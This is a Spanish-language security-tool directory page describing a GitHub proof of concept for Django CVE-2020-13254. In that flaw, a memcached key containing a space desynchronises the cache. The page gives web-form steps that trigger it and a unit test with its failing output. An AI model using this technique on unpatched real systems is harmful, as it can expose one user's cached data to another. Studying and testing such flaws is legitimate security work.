Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
django-cve-2020-13254 — Demostración de vulnerabilidad para Django CVE-2020-13254 | Kitploit
Herramientas/GitHubGitHub/danpalmer/django-cve-2020-13254
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Demostración de vulnerabilidad para Django CVE-2020-13254

Ver Repositorio
212hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Django CVE-2020-13254

Este repositorio demuestra la explotación de CVE-2020-13254 de dos maneras – a través de una interfaz web y mediante un caso de prueba fallido.

Para más detalles, visita:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Explotación a través de la web

El ejemplo proporciona una interfaz web con 2 formularios, uno que establece valores en la caché y otro que los obtiene. Estas se traducen directamente en llamadas al backend de caché de Django. Debido a que el código base no implementa ningún sistema de sesión o autenticación, los múltiples usos en la misma pestaña del navegador son indistinguibles de múltiples usuarios que utilizan máquinas distintas.

Para explotar:

  1. Establecer las claves A y B con los valores a y b.
  2. Intentar establecer C D con el valor c d. Esto dará un error.
  3. Intentar recuperar la clave A; incorrectamente, no habrá ningún resultado.
  4. Intentar recuperar la clave B; el resultado, incorrectamente, será a.

Demostración mediante pruebas

Este proceso puede expresarse como un caso de prueba de la siguiente manera:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

Esta prueba falla con el siguiente error:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

Después del set, los resultados de caché devueltos están desfasados con respecto a las consultas realizadas.

Descargar herramienta